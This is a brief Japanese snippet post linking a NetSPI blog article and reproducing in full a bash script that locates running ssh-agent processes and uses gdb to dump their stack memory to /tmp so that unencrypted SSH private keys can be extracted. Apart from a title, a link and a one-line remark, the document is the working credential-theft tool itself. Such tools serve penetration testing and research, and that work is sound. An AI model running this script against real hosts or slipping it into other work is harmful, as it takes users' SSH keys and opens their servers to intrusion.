Stealing unencrypted SSH-agent keys from memory

https://www.netspi.com/blog/entryid/235/stealing-unencrypted-ssh-agent-keys-from-memory
ssh-agentでRAM上に配置されたssh鍵を抜き取るスクリプト。
https://github.com/NetSPI/sshkey-grab/blob/master/grabagentmem.sh

#!/bin/bash

# First argument is the output directory.  Use /tmp if this is not specified.
outputdir="/tmp"

# Grab pids for each ssh-agent
sshagentpids=$(ps --no-headers -fC ssh-agent | awk '{print $2}')

# Iterate through the pids and create a memory dump of the stack for each
for pid in $sshagentpids; do
    stackmem="$(grep stack /proc/$pid/maps | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p')"
    startstack=$(echo $stackmem | awk '{print $1}')
    stopstack=$(echo $stackmem | awk '{print $2}')
    
    gdb --batch -pid $pid -ex "dump memory $outputdir/sshagent-$pid.stack 0x$startstack 0x$stopstack" 2&>1 >/dev/null 

    # GDB doesn't error out properly if this fails.  
    # This will provide feedback if the file is actually created
    if [ -f "$outputdir/sshagent-$pid.stack" ]; then
        echo "Created $outputdir/sshagent-$pid.stack"
    else
        echo "Error dumping memory from $pid"
    fi
done

こんだけ？